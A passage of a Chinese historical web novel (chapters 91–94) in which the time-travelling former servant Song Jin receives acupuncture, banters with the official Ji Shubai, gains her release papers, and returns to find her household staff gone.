宋瑾一股子得意地拍了拍季舒白的肩头,似是安慰刚刚受了惊吓的小孩一般。
季舒白想,他未必会喜欢那个世界,一旦进入那个世界,岂非代表如今拥有的一切全都作废?
那宋瑾呢?
她来到这里,成了家奴,又放弃了那个世界的什么?
怪不得她不甘心为奴,换成是自己,只怕未必能有她做的好。
果断又决绝,下手又稳又狠,却没有伤到任何人的性命。
她虚晃一招,就换回了生机,他若是在那个世界,也能做到如此么?
宋瑾刚刚还在安慰季舒白,一股子调笑的语气,结果一转头就见季舒白用一种奇怪的眼神看向她。
此时的宋瑾还不知道,季舒白的眼神和她当日在江边看他那悲天悯人的眼神一模一样。
“你又怎么了?”宋瑾有些不太自信起来,声音都低了不少,笑容也收敛了。
“没什么。”
季舒白别过脸去,叹息一声问道:“你可知庄周梦蝶的故事。”
“知道。”
季舒白还是要说:“昔日庄周梦为蝴蝶,不知周之梦为蝴蝶,还是蝴蝶之梦为周,然,周与蝴蝶,必有分矣。”
说完他看向宋瑾:“你要记着,千万不要合二为一。”
91. 幽默
季舒白给宋瑾留了一个哑谜,可是答案很明显,警告她不要将两个世界合二为一,否则会很危险。
活在这个世界就要讲这个世界的规则,不是每个人都能像他那样坐下来听她说什么人民代表大会制度,更多时候,人们对于不熟悉事物的态度是鄙视和打压。
比如高策,见她席间呕吐便把那羊送给她。
说起来是礼,其实完全是恶心人。她不喜欢,却无处说理,甚至还可能被人说矫情。
季舒白也好,潘晟也好,都是叫她闭紧嘴巴,不要妄言,否则祸事迟早上身。
宋瑾觉得自己还是挺有理的,除了季舒白她再也没跟别人说起过,明明是季舒白这个大漏勺捅出去的,怎么还警告起她了呢?
夜里宋瑾躺在床上回想着这件事,越想越觉得季舒白这人鸡贼,太鸡贼了。
吴江县所离不远,不到两日驿船便靠了岸。
如今宋瑾对于县官接待一事早已轻车熟路,没出什么岔子。
季舒白照旧忙碌,她则长了记性,带着铜板逛大街。
看看吃的,看看喝的,看看哪里的酒馆生意好,看看什么酒卖的好,纯当来做市场调研。
季舒白留在县衙时,她照旧跟在屁股后头要案卷翻看,这一回倒是什么案子都一起看了,反正知道的多一些总是有益的。
过了约莫两日,季舒白忽然得闲,要带她出门去。
宋瑾在这些事情上向来不多问,让去便去,等出门时才发现没有县官陪同,只有季舒白带来的人,心中不禁奇怪起来。
“我们去哪里呀?”
“带你去见一个人?”
“谁呀?”
季舒白没说话,独自钻进了轿子,宋瑾也就懒得问,跟着钻进了后面的一顶轿子。
轿子要去的地方路很偏,出了城门又走了好一阵子才停下来,宋瑾一下轿子便看见一间篱笆墙围住的小院。
“这是哪里啊?”
“一个女医家。”
“啊?”
“啊什么?你总不想你的腿三不五时的瘸一瘸吧?你以后做厨子可是要经常站着的,就算想做寡妇,也得先把自己嫁出去不是?瘸腿可说不到好人家。”
季舒白不知哪里学来的新本事,阴阳怪气起来丝毫不输宋瑾。
宋瑾撇撇嘴,怎么说也是为了她好,今日就不跟他呛了。
青杉站在院门口对着里头唤人,果然没一会子就见一个老婆婆颤颤巍巍地走了出来。
“找谁啊?”
“老婆婆,我家公子想请您帮忙诊个病人。”
“哦,进来吧。”
那老婆婆似乎见怪不怪,对于是谁来,要诊什么病一概不关心,说完话便转身走进厅堂,自顾自坐下,候着外头的人进来。
宋瑾跟着季舒白进了屋子,恭恭敬敬地行礼,那老婆婆端坐在上头,倒不觉得有什么受不起的。
“是什么病症啊?”
季舒白示意宋瑾说话,宋瑾便上前一步道:“是小人腿上有旧伤,每每久站就会疼痛不已。”
那老婆婆哦了一声,道:“过来,我摸摸。”
宋瑾乖乖上前,在宋瑾的指引下摸到了那块被打伤的腿骨。
“怎么伤的?”
“就是木棍,打到了。”
不知怎么的,宋瑾有些说不出口,可那老婆婆一眼识破。
“被家主打了么?”
说完看了眼季舒白,宋瑾连忙解释:“是前一位家主。”
那老婆婆撒了手,道:“随我进来。”
宋瑾跟着那老婆婆进了内屋,就听那老婆婆道:“躺到床上,把裤子脱了。”
宋瑾别别扭扭的掀起外衣去解裤子上的绳绊,她一边解一边看老婆婆在干嘛,就见那老婆婆取出一包东西往那一摊,宋瑾见了差点没瘫过去。
那是一包针,看起来是针灸用的,宋瑾还是第一回扎针呢,还是大明的大夫。
老婆婆摊开针,见宋瑾还没脱完衣服躺好,便道:“要老身帮你脱衣服么?”
宋瑾连忙摇头,三下五除二地把裤子解了,露出受伤的那条腿来。
老婆婆粗粝的手指搭上来,也不知道在顺着什么游走,边走边按边问,宋瑾一一回答。
不知怎么的,宋瑾总觉得那只手在自己腿上游走的时候,很像庖丁解牛的状态。不是手顺着骨骼筋脉在走,而是她走过的地方一定是筋脉行走之路。
摸过问过后,那老婆婆便摸出针来,宋瑾第一回针灸,心中有些紧张,只好说话来缓解。
“老婆婆,您怎么会这个呀?”
“乡下人,难免磕磕碰碰,身上总带点痛,时间久了,就有人摸出门道来,我运气好,学了一些。”
宋瑾哦了一声,那老婆婆接着道:“你这伤问题不大,富贵人家不长久站着,不治也罢。”
宋瑾轻笑一声:“我可不是富贵人家。”
“姑娘还年轻,说这话尚早。”
宋瑾不再说话,乖乖伏在那里,心里倒是觉得那老婆婆走路打颤,可是扎针奇稳,也并不疼痛,只是带着些刺痒。
这场针灸针了约莫小半个时辰才算结束,宋瑾一边穿衣裳,一边听那老婆婆嘱咐。
平日要走一走,把那筋脉走顺些,别尽躺着坐着,但也不能太累。
宋瑾一一应下,那老婆婆感叹,还是富贵人家好,说不让累就能答应下来。
宋瑾僵了一下,也没有说什么,穿好衣服便随着老婆婆出了门来,季舒白还候在院中。
问了诊金,付了银钱,约好下次再来的时间,季舒白这才领着宋瑾拱手谢过了那老婆婆,起身离开。
走至院外,宋瑾揉了揉腿上刚刚扎针的地方,季舒白见了便问可疼。
宋瑾摇头,道:“老婆婆说叫我走动走动,别老坐着不动弹。”
季舒白看了眼轿子,便道:“那我陪你一道走吧。”
说罢径直往前走去,后头轿夫们抬了空轿跟上。
宋瑾心里头挺高兴的,觉得如今的季舒白少了许多架子,相处起来舒服多了。
她撵上去找话说。
“大人刚刚一直在院中等我呢?”
“并没有,我先回了趟城,在天香楼吃了一顿上好的酒菜,然后又去茶馆听说书人说了会书,这才回来的。”
要不是宋瑾知道时间根本不够用,就依季舒白那满脸正经的样子,只怕就要被糊弄过去。
“大人,你变得幽默了。”
“幽默?”季舒白停了脚步,不大明白一个玩笑跟幽默之间有什么关系。
“什么意思?”
宋瑾呆了呆,怎么听不懂人话呢?
“就是好玩啊。”
“好玩?”季舒白皱起眉头:“幽默等于好玩么?”
不是么?
宋瑾眨巴了两下眼,不知道该怎么去解释,索性一挥手,改了说辞:“大人,你变得有趣了。”
这回季舒白笑了起来:“你早这样说,我不就明白了么。”
说罢继续往前走,宋瑾跟在后头。
今日的季舒白穿了一身晴山蓝缎地缠枝莲花暗纹的宽袖行衣,腰间系大带,勒出一方窄腰来。头上带着四角东坡巾,两根玄色飘带在宽阔的背上扬起。
即使是看背影,也会觉得眼前是一个儒雅之人。
风景真
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好。
季舒白背着手,缓步走在前头,宋瑾在身后瞧见了,也学着他的样子背起手来,脚踏在他踩过的位置,一步一步跟过去,直到季舒白忽然驻足转身,宋瑾一脚踏在他的脚背上。
季舒白低头看见脚背上的鞋印,眉头一挑,笑问:“好玩么?”
宋瑾吐吐舌,往后退了两步。
季舒白忽然收敛笑意,认真地问:“如果,我是说如果,你在这里可以一直这样过日子,还会觉得那个世界更好么?”
宋瑾转了转眼珠,细细想了一番,忽然笑起来,道:“大人,这世上没有完美的制度。那个世界有那个世界的缺陷,这个世界有这个世界的瑕疵,男人有男人的毛病,女子有女子的短处。人要想活的痛快顺畅,就不能盯着那些你无法改变的东西努力,正所谓识时务者为俊杰,大人你说对吧?”
季舒白皱起眉头来,似懂非懂,似要放弃又不甘心。
“难道这里就没有让你特别喜欢的地方么?”
宋瑾又想了想,道:“有啊。”
“是什么?”
“大人呀。”
宋瑾笑嘻嘻地,一脸不正经的样子,季舒白分不清她说的话是真还是假,却忍不住心上猛地一跳。
“那我问你,如果最初时你没有来威胁我,我便主动来帮你,你对这个世界的印象会不会比现在要好?”
宋瑾依然是那副笑脸:“大人,你不要老盯着过去嘛,你得看将来呀。人性的瑕疵永远存在,你我都不是完人,何苦揪着过去的错误不放,你又不能回去改变。况且我小人有大量,根本不跟大人你计较。”
“大人你呀,就是活的太拧巴了,人要想活的自在,就得对一些会让自己感到不适的东西迟钝些,迟钝不了就躲开些,若是躲不开了......”
“那该怎样?”
“那就扇他!嘻嘻嘻——”
季舒白垂下眼帘,似是在思索着什么,过了会子才抬头道:“我觉得你说的有理,不过有些事还是应当更尽力些才好,可是我愿意学一学你的态度。”
季舒白一句话拐了三个弯,宋瑾没有去深想这背后的弯弯绕绕,就如她自己说的,要迟钝些。
“我果然没看走眼,大人你呀,孺子可教也。”
宋瑾笑嘻嘻地开玩笑,开的季舒白脸上一僵。
他一个进士,居然在一个不通诗词的家奴眼里成了可教的孺子了。
“你就是这么夸人的?”季舒白将背起的手改成抱在胸前,大有跟宋瑾好好理论一番的架势。
宋瑾才不怕他,依旧笑着道:“当然不是,那日在柏家一见,我便认定大人乃忠诚正义有情有义之士。如今看来,我眼光极佳。”
宋瑾一堆高帽子递出去,末了还不忘夸自己一番,季舒白听了倒觉得很舒服,也逗着宋瑾玩:
“原来你也是会夸人的,那你就多夸两句我来听听。”
“大人,这夸奖可不能多了,多了便是麻烦。你们书上有句话怎么说的来着,德荡乎名,知出乎争,此二者,凶器也。我若夸的多了,岂非害了大人,哈哈哈——”
宋瑾掉了个书袋,得意地往前跑去。
也不知怎么地,季舒白听了先是顿了顿,脑子里乱了一阵,接着就听见宋瑾的笑声随着夏日的一股凉风钻进耳朵里,又顺着耳朵钻进脑子里,吵得他的脑子没法去想这个“凶器”。
他转头去看宋瑾,一身靛蓝的棉布衣裳,玄色的沙罗方巾,一蹦一跳地跑在小坡顶上。
那手也欠,跑着跑着揪了一把路边的狗尾巴草,攥在手里一甩一甩的。
那一刻,季舒白也不知自己是怎么想的,忽然拔腿追了上去。
92. 报应
宋瑾原本甩出两句有文化的句子来,心中得意至极,笑嘻嘻地跑在前头,结果忽然听见背后急促的脚步声。
她笑容一敛,往后看去,就见季舒白迈着他那双长腿追了过来。
“啊——”
宋瑾惊呼一声,一下扔了那狗尾巴草,也奋力跑了起来,边跑边在心中骂人:
这小子,没肚量!说他两句叫他别得意,他就学着恶狗撵人,小气的很!
谁知没跑两步,季舒白那双大长腿就到了身后,一只手搭在了她的右肩上。
宋瑾也不知是怎么想的,忽然转身,右臂往上一甩,在空中画了个圈。
季舒白见状愣了一下,脚步自然而然地跟着停了下来,然而就在这一愣怔间,宋瑾的右手已经缠上了他的胳膊,脚在看不见的地方已经挡在了他的身子右侧,接着左手顺势伸出,搭在他的脖子左侧。
就那么一拨,季舒白失去了重心,整个人往右侧倒了下去,倒下去之前他看见了宋瑾得意的笑脸。
报应,一定是。
他这辈子没跟人动过手,唯一一次动手就是用鞭子抽打了宋瑾,这一次宋瑾直接将他绊倒,摔在草坡之上,他整个身体不受控制地往下滚去。
这不是报应是什么?
季舒白惊慌失措的惨叫声和宋瑾奸计得逞的大笑声混在一起,成了这草坡上独有的一道风景。
季舒白的身子好不容易停下来时,他已经满脸通红,说不上来是热的,还是慌的,或者是羞臊的,帽子也不知滚落到哪里去了。
“大人,你还好吧哈哈哈——”
宋瑾根本不把这视为闯祸,更像是一个玩笑,站在坡顶上笑得不亦乐乎。
季舒白气哼哼地爬起来,恨恨地拍了拍身上的杂草,末了拿眼瞪着坡顶上笑弯了腰的宋瑾,企图让她反省自责。
“大人你别气嘛,你不觉得这很好玩么?”
滚草坡,多有意思的事情。
季舒白不觉得,他只觉得狼狈至极。
宋瑾见他不说话,便知道他有些生气了,心中道了声小气,脸上笑容不变。
“大人,你等着,我滚一个给你看看。”
话音刚落,季舒白连阻止都来不及,就看见宋瑾双手放在胸前,自行往下一躺,就这么顺顺溜溜地滚了下来。
她清亮的笑声在草坡上划出一个长长的弧线,一路欢笑着朝草坡下而来。
季舒白呆呆地看着,不明白一件狼狈至极的事情,她为什么能高兴成这样,直到他在宋瑾将要滚过的草地上看见了一块凸起的石头。
几乎是本能地,季舒白一个箭步就冲了过去,半蹲着身子,伸出双臂,挡在那块石头前面。
宋瑾欢欢喜喜的一路滚落下来,直至砸进季舒白的臂弯里。
“嗯?”
宋瑾甚至都没来得及关注自己为什么会在季舒白的怀里,疑惑了一声就扒着季舒白的胳膊往下看去。
还差一截到底呢,快乐少一半。
“你拦我干嘛?”
季舒白略有些生气,觉得她有些不识好歹,因此语气生硬:“下面有石头。”
宋瑾这才探出更多的脑袋往下细看。
“哦,刚刚没看见。”
宋瑾毫不在意地翻身爬起来,季舒白只觉得臂弯里一轻,那个人就站起来了,一双手抱着脑袋疑惑发问:
“咦,我帽子呢?”
说完又看看季舒白:“咦,你的帽子呢?”
季舒白哼笑一声,抬腿往上走去。
帽子早在滚下来的过程中掉落了,两人一道回去捡。
“喜欢滚草坡?”
“嗯,小时候常玩。”
季舒白撇撇嘴,柏家不大可能有草坡可以滚的,不过如今他已经习惯了,甚至是有些相信了。
“除了滚草坡,还玩什么?”
宋瑾边走边想,耳边蝉鸣不断。
“抓知了。”
季舒白笑了一声,弯腰捡起自己的帽子,轻轻拍了拍上面的灰尘和杂草,就往头上带去。
“等等——”宋瑾把他拦住:“你脑袋上有草。”
她把自己的帽子夹在腋下,双手将袖子往上一撸,示意季舒白弯下腰来,替他捡去头上的细碎杂草,这才道:
“帮我看看。”
说完也学着季舒白的样子,弯腰把脑袋往前一送,季舒白笑了笑,她那个身高,竟然也想弯腰。
他淡淡笑着,没有言声,默默帮她捡去头上颈间干枯的杂草,又从她腋下取出帽子替她戴好,宋瑾这才抬起头来,习惯性地扶了扶帽子。
“正了么?”
季舒白轻轻嗯了一声:“正的。”
接着又低下头来问:“我呢?”
宋瑾伸手捧住季舒白的脸,一把将他的脑袋抬起:“帽子正不正要抬头看。”
季舒白没有给自己戴帽子的经验,戴的一点儿也不好,宋瑾踮着脚将他的帽子扶正了,转身正要往上走的时候又被季舒白拉住了。
他拽住宋瑾的胳膊,将她刚刚撸上去的袖子轻轻往下扯。
“不要把袖子推高。”
“这样方便。”
“不准把袖子推高。”
季舒白很坚持,将她两只袖子都拉了下来,扯扯平整才撒手往草坡上走去。
宋瑾看着自己被扯的板正的袖子,不禁叹了口气,抬脚跟了上去。
“你的爱好挺奇怪的。”季舒白在前面淡淡出声。
“这有什么奇怪的,你小时候不玩啊?”
幼年的情景在季舒白的脑子里转了一圈,认真道:“没怎么玩过。”
“怪不得这么顽固,跟个老夫子似的。”
季舒白又挨一顿骂,忍不住停下脚步瞪了一眼宋瑾,宋瑾叫他瞪的莫名其妙,心中暗骂小气。
今日第三回了。
“你再这般说话,信不信我把你推下去?”
他的脸看上去很严肃,他想,这很出格,也够吓人了。
然而宋瑾往坡下看了一眼,调整了个位置避开那块石头后兴奋道:“来啊,来推我啊。”
那眼里的精光明显对被推这件事充满了期待。
季舒白又好气又好笑,双手一背,继续往上走去,不想再理她。
他有些弄不明白这个人,但随她去吧。
在吴江县的日子季舒白很忙,宋瑾也忙,忙着往城外跑,去找那老婆婆治腿,季舒白并没有空闲天天陪她,只是给安排了轿子,日日送接。
那知县挺会讨巧,安排了一个文吏跟随,说是方便办事,这可苦了宋瑾了。
没有季舒白陪着的日子,说实话,挺无聊的,别说滚草坡了,她得时刻端着装样子,免得叫那文吏发现自己是个女子,她都快憋死了,日日找理由不给那文吏进屋子,免得露馅儿。
终于有一天,季舒白再次得了空,说可以陪她出城,宋瑾高兴的几乎蹦起来,季舒白见了倒觉得那老婆婆果然名不虚传,治的挺
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好。
然而天不随人愿,回城的路上落起雨来,众人只得找间亭子歇了。
亭子依河而建,虽然简陋,地方却大,宋瑾坐在凳子上,倚着美人靠,抬眼往外面看去。
被太阳烘烤过的土地沾了雨水,清香的泥土气息随着最后的温度从地面蓬勃飞升,直钻进宋瑾的鼻孔里。
被晒的几乎卷曲的树叶在雨水的浸润下渐渐舒展,像是招摇过市的孔雀,各个比赛似的泛着前所未有的翠绿,以至于湖面都呈献出一种少见的深绿来。
绿天绿地绿湖水,一片青翠的世界。
一阵凉意袭来,宋瑾轻轻闭上眼。
“等回了长洲县,你打算做什么?”
“开酒楼呀。”宋瑾想也不想,脱口而出。
人是现成的,地方改一改就好,本钱也有了,就算没有从前那般好,但自己的手艺养活一帮人不成问题。等攒了钱,买地,换大酒楼,总是能活的。
“你就不怕你前主家来找你麻烦?”
听了这话,宋瑾睁开眼:“我安安分分做生意,她能把我怎么样?”
季舒白笑了笑,重复了一遍宋瑾那句“安安分分做生意”后在宋瑾身边坐下:“这种方式来钱可不快。”
宋瑾不安分,又贪财,他实在不信她会安安分分做生意。
回头想想,她之所以能快速攒到脱籍的钱,是运气加上能力。有广州菜的招牌,加上御史的喜爱,才让她入了柴恒的眼,靠赏银攒出来的脱籍钱。
而本分做生意,就是只靠能力,这种方式来钱确实不快。
宋瑾前世看着不少人在商场摸爬滚打,这里面的见得光的,见不得光的道道她见过不少。即使是在这个世界,她也明白那些富绅的财富并非来自勤恳,否则她这种家奴才最应该富裕,因此她说不出只要做个好人,一切好运都会靠向我的话。
“大人啊,”宋瑾悄悄把身子滑向季舒白:“奴家觉得大人说的有理。”
季舒白听了一愣,青杉的那句话在脑中一下跳了出来。
自称奴家,必没好事。
“你有事找我?”
宋瑾嘿嘿一笑,坐直了身子:“大人,奴家觉得您说的在理,因此奴家想了一个解决办法。”
“什么办法?”
“大人您想啊,这去过广东的御史大人来了,柴大官人就想让擅长广东菜的奴家去做厨役,那如果大人爱吃奴家的菜,那下回是不是又会找我去做厨役?”
宋瑾笑嘻嘻地,一看就没安好心。
“你想让我跟柴恒提要求,让你去做菜。”
“也不用每日啦,您不是常去柴家做客嘛,只要顺嘴提一句爱吃奴家的菜,他自己就会来找我嘛。”
季舒白嗤笑一声,就知道她没安好心,原来打的是这个主意。
只见他双手抱胸,眉头微蹙,显出一副为难的样子来逗她:
“这样么?可是我觉得你做的菜......许久不曾吃过了,上一次还是借着潘大人的光,才吃上了点心,我不记得你做的菜的味道了。”
“晚上我就给你做。”
季舒白奸计得逞,露出满意的笑脸来。宋瑾知道他是故意的,也不得不往里头跳,谁让她有求于人呢。
“不许做辣的。”
一句事出有因的叮嘱,让宋瑾笑弯了腰。
雨水更盛,屋檐下珠串似的落,砸在地上哗啦啦地响,也没能盖过宋瑾的笑声。
脆生生,响亮亮。
93. 从良
季舒白在吴江县停留的日子并不长久,约莫十日后他便陪着宋瑾到了老婆婆那里,亲自问过宋瑾的伤势,得知往后休养为主,不要劳累,便能慢慢自愈后,便开始张罗准备回长洲县。
“咱们这么着急回去么?”
宋瑾最近与季舒白的关系拉近不少,这让她收获一份难得的松弛,不必处处弯腰赔笑脸,可以挺直脊梁端正说话,还蛮像个人样的,她喜欢这样的日子。
以至于人还没分开,心里就开始怀念起这样的日子来。
“我得回去,此次巡视三县,花的时间有些多了。六月底这一季春稻便要收割,紧接着便是秋季的播种,我马上就要准备今秋税赋一事,此乃大事,万万不可拖懒......”
宋瑾从他一长串话里听出一股浓重的班味,不禁想起自己回去后又要开始杀鸡,她微微头疼。可是转念一想,早早赚钱,早早换大酒楼,早早过上好日子,她的心里又充满了期待。
两日后,众人启程。
一路乘船,中途并不下船逗留,径直往长洲县赶。
宋瑾带着无限希冀,心情也变得轻松起来,一路上追问季舒白这回一定能给她红契和放良凭证吧,问的季舒白哭笑不得。
照这架势,若是不给,她还不知道要怎么闹腾呢。
回到长洲县的那一天,季舒白在码头遣散众人,一路奔波都有些累了,先各自回家,随后安排宋瑾。
“你在我家等我,我去一趟府衙,回来时一定给你把东西带回来。”
他是这么说的,宋瑾也就那么信,乖乖地乘了轿子往季家老宅去了。
季舒白一刻也没有耽搁,径直往府衙里头去了。
卢骏年这个通判并不太闲,他把这归结于那些有钱人太闲,闲的一天天打官司,闹的没完没了,诉状都看不完,给他烦的头发又白了好几根。
今日他刚刚处理完一份,正坐着喝茶想歇息一会儿,就见季舒白一身便装地走了进来。
“哟,我们唐僧取经回来啦?”说完还探着脑袋往他身后看了看:“怎么不见你那尾巴?”
季舒白知道他说的是谁,也不解释什么,撩起衣摆往那里一坐,卢骏年便叫着上茶。
“此去如何?”
“还不错,也算风调雨顺。”
“那便好,过两个月的税收起来也方便些。我可跟你说啊,户部如今要账可要的紧,估摸着咱们那位太后又要建庙呢。”
卢骏年说到后半句的时候压低了声音,免得被人听去。
说来也怪,这人一旦到了高位,就爱信些什么东西。
前有君王修殿炼丹,现有太后信佛建庙,没一个不是大把银子花出去的。
说到这里季舒白叹了口气:“我看如今这情形,地里虽盛,百姓却极苦。”
“又怎么了?”
季舒白道:“此次巡视,虽只走了三个县,可是我看着失去田地的流民增了不少,如此这般下去,往后官司少不了你的。”
卢骏年听了,那茶也喝的没味了:“嗐,你这是在苏州府,好歹没个王爷给你添乱。你等着吧,咱们京城还有一位王爷等着受封呢。到时候随随便便万亩良田下去,不知道哪里的百姓要遭殃,不提也罢。”
两人说起这事都是满面愁容,最后还是季舒白将话题岔开了。
“我今日来找你,不是为了这事,那陆姑娘的红契和文书,你该给我了。”
卢骏年一听这话,嘴角一抽:“你几时回来的?”
“刚刚。”
卢骏年冷笑一声:“你倒是上心的很,今日刚回来,衣服都没换,就来跟我讨东西。”
季舒白听了脸上一红,他确实热心过头了。
“既然我来了,你便给我吧,何苦叫人家日夜惦记着。”
卢骏年盯着季舒白那张泛红的脸,莫名叹了口气:“你呀,别怪我没提醒你,早晚栽她手里头。”
“不会的,她答应过我以后会本本分分做生意,不会再做那些出格事情。我也说了,往后有事可以来找我,不必出那些馊主意,哪里就会栽了?”
卢骏年听了一拍脑门,摇头道:“你呀你呀,不开窍。罢了,我今日就卖你个人情,给你也罢,往后啊,咱们走着瞧。”
宋瑾对季家老宅熟门熟路,一进门就跟两个老人家打招呼,热情又爽朗的后生总是招老人家喜欢,所以陈妈妈见着她便问饿不饿,渴不渴,她早上文火煨了猪头,切的碎碎的,拌面极好。
宋瑾听的胃口大开,毫不客气地要了一碗,边吃边说这一路上的所见所闻,两个老人家常年待在家中,倒是觉得宋瑾说话新鲜,很是爱听。
府衙离的稍远,季舒白来回需要些时辰,宋瑾说完话觉得无聊便说去后院里头走走逛逛,反正来熟了的,两个老人也不拦她。
宋瑾说是逛逛,其实是存了心思的,她惦记上了一样东西。
她站在书房里,歪着脑袋盯着那东西半天,确定自己根本没办法悄悄带走,只能舔着脸跟季舒白要了。
约莫申时,季舒白回来了,一进门就看见宋瑾盯着书架看。
他笑了笑:“瞧什么呢?你的东西我带回来了。”
宋瑾猛地回头,一双眼睛看着季舒白手上攥着的两张。
两张要她命的纸。
“多谢季大人。”
宋瑾欢呼一声蹿过去就要抓那两张纸,结果季舒白将手往背后一藏:“我话还没说完。”
“您说您说。”
有求于人的时候,宋瑾是很乖巧的。
“今日给你这文书,你便是良人了,你可明白?”
宋瑾眨巴了两下眼,心中琢磨起来:“什么意思?”
“你要从良了。”
宋瑾的眼珠子差点儿掉下来。
刻板印象。
在宋瑾的心中,从良二字似乎只与妓子有关,万万没想到今日落在了她的头上。
仔细一想,她便明白了其中意思。
宋瑾在官府黄册上登记乃是贱籍,平人乃是良籍,如今她脱籍了,可不就是从贱成良,要从良了嘛。
宋瑾咽了口唾沫,嗫嚅着问道:“所以呢?”
“你不可再像从前那般鲁莽行事了,可明白?”
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“......做厨役也不行么?”
季舒白叹了口气,道:“我知你心中想法不一样,可这未必是好事。厨艺是你当家的本事,我自然不会说你什么。可你记着,今时不同往日,有些事不可做,有些话不可说。你年纪尚小,往后自然能明白我的意思。”
宋瑾不用等往后,至少她眼下就明白了其中的部分意思,也明白了有些书中为何那样写。
当初看《红楼梦》时,她便注意到袭人跟宝玉云雨一番根本不会觉得羞愧,甚至会有些骄傲,因此自称“我们”,还惹得晴雯一番挤兑。
而尤氏姐妹与男子亲近,惹出颇多流言,就要遭人诟病。
当初她没想通,今日她明白了,这便是良贱之分。
良人与贱人是两套行事规则。
宋瑾从前之所以被特殊宽待,不一定是因为能耐大,也并非大家宽容,更多的是因为她身份低贱,无人在意她的品行。
而成了良人就不同了,她得遵从良人的规范,再也不能同季舒白开那种脱衣的玩笑了,也不好随便在外挽袖子。
宋瑾伸出去抓文书的手改成了挠头:“我应该......会小心的。”
季舒白见她拘束起来,反而安慰起她:“别太担心,小心行事便好。若要扮做男装,就不要太招摇,别惹人瞩目就是。”
宋瑾点了点头,轻声道好。
她听从了季舒白的建议,明白这是既一种约束,也是一种保护,所谓枪打出头鸟,她见得不算少。
宋瑾向来很怂,不喜欢跟主流思想对着干,那是英雄干的事,而她不想当英雄。
被人瞩目,是一种喜爱,也是一种诅咒,宋瑾自认承受不起那样的关注,干脆不去招惹,只想低调做人。只是在这大明,她很难低调起来,这是没办法的事情,只能尽量保持了。
季舒白将那两张纸放进她手中,宋瑾一颗怏怏的心又重新活了过来。
“大人,”宋瑾试探着开口:“我有一事相求。”
“你说。”季舒白一番谆谆教诲后见宋瑾颇有采纳之势,因此很是欣慰,此刻更展现出无限温柔来。
“我想着,往后不止要好好做厨役,还应该多读书,这样才可以明事理。”
宋瑾拿捏住了季舒白的心思,教导主任都爱听这好好读书的话,果然季舒白听了之后很高兴。
“这是好事,你想读什么书?我这里有的,你尽可以选去。”
他进门时就看见宋瑾盯着书架看,只是没想到她竟有这个心思,打心眼儿里高兴起来。
宋瑾迫不及待地一边把文书往怀里揣,一边道:“那我可就不客气了,我自己去选了。”
“去吧。”
宋瑾转身,直奔着书架上一叠书而去,季舒白在身后见了,脸上的温柔笑意瞬间消失。
季舒白书架上的书有不少,从启蒙读物《幼学琼林》到专讲政史的《尚书》,从汉代乐府到唐朝诗赋,从宋代诗词到前朝戏曲,可谓丰富多彩,应有尽有。
可宋瑾一个没选,她抱了厚厚一叠《忠义水浒传》。
一个满是土匪的话本子。
94. 噩耗
宋瑾正喜滋滋地将那一大叠子书从书架上往外抱时,忽听啪的一声响,一只大手按在了书卷之上。
想也不用想,季舒白要来拦她。
“......怎么了大人?”
季舒白收敛了温柔笑意,他怎么就信了宋瑾能立刻改正呢?
“你怎么会想到看这个?”
看这个学什么?学造反么?还是学做肉包子?
“看书啊,学习啊......”宋瑾自知理亏,说话的声音都变小了。
“学什么?学做肉包子?”
季舒白眯起眼睛质问,问的宋瑾呆愣了一下,待反应过来时她忽然笑了起来:“大人,我不会做面食。”
宋瑾的确不会做面食,面条包子一概没做过,她要吃面,都得靠别人扯面条。
季舒白原本有些恼,被她这一笑给笑得不好再发脾气了,只好强逼自己板着脸道:
“这本书不适合你。”
“挺适合的呀,我还给保保讲过琼英的故事呢,也没见你拦着。”
季舒白叹息一声,琼英算是水浒传里难得的讲理人,没有滥杀无辜,一切都是事出有因。
“还是不好。”
“大人,”宋瑾语带哀求:“奴家也没有什么本事,如今出去独自做生意,光会做菜也是不大够的。奴家想着若是能说书的话,岂不是更好,毕竟我也不会吹拉弹唱的本事。”
宋瑾这次出门观察过,不少店家都有人在里面唱曲说书,而她和她的那些人没一个会唱会弹的,那就剩一个说书了。
说书谁会说《尚书》啊,当然是说《水浒》来的方便。
“你要说书?”
宋瑾尴尬地笑笑:“这也不行嘛?”
季舒白叹了口气:“......倒不是不行。”
他眉头拧的厉害:“你要自己来说么?”
宋瑾想了想道:“那我要教人说的话,不是得先细看看嘛。”
还挺有道理的。
季舒白没再多说什么,只是三指捏着她的手腕,将她的手从书上挪开,随后抽出顶部的第一本给到宋瑾。
“这套书多,又沉,你一次也带不走,先拿这一本,熟悉了之后再来这里慢慢拿。我会交代陈妈妈,不会拦你的。”
宋瑾的牙一下龇开:“多谢大人。”
说完抓住那一本书喜滋滋道:“那我走了哈大人。”
“去吧。”
宋瑾欢呼一声,一路尖叫着跑出门去,季舒白听得眉头直皱,家里似乎跑出去一个炮仗。
宋瑾跑到外头,一路狂奔,声音早已收住,只有耳畔的风,呼呼地直响。
她没有办法去形容此刻的心情,她只知道苏州的阳光属于自己了。
天晴了。
宋瑾到了长洲县县衙,拿着文书,改了黄册,换了户籍,连带着名字也改了,改成了陆瑾。
她没有想要姓回宋,没有隔着朝代还要认祖归宗的打算,更没有在大明背上不孝的名头,跟老陆作对的打算,只是她习惯了“瑾”这个名字,便继续用了。
等宋瑾办好一切,拿着行李回到古槐街,准备好好庆贺一番的时候,一个晴天霹雳毫无预兆地劈了下来。
人没了。
蔓草的爹名叫陆才,自卖为奴之前是个佃农,一辈子就只得了两件本事,一个是养花种草,一个是本本分分。
做生意讲究胆大心细,本分那简直是致命一击。
于是在宋瑾离开长洲县的这段日子里,他因不能做生意,只守着宋瑾留下的那笔银子抠抠搜搜地过日子,盼着宋瑾能早些回来赚钱。同时又嫌弃几个男人太能吃,说了几句难听话,竟然将人赶走了。
这赶走男子是一码,另一码是红杏采薇杜鹃的家人找来,强行把人带走了,独留了一个年纪尚幼,还不能成事的春云在家。
春云之所以还在,那是因为年纪小,卖不上价,又不能嫁出去,自己养着还费钱,既然宋瑾答应养着,那就随她去吧。这才没给带回去,扔在老陆这里。
宋瑾谋划半天,谋了个空,此刻听老陆说着话,只觉得天旋地转,两眼黢黑。
“这事也不能怨我,那几个小子也太能吃了,眼下又不能做生意,又没有挣头,难道干养着不成?”
“当初我就说这法子不行,得有文书,否则人家说走便也走了,你看可不是这么回事嘛。你一离开,那三个女娃娃的家里人就找来了,人二话不说跟着家里人就走了,哪有一点子良心?你这算哪门子好事嘛,全是给人家做嫁衣。”
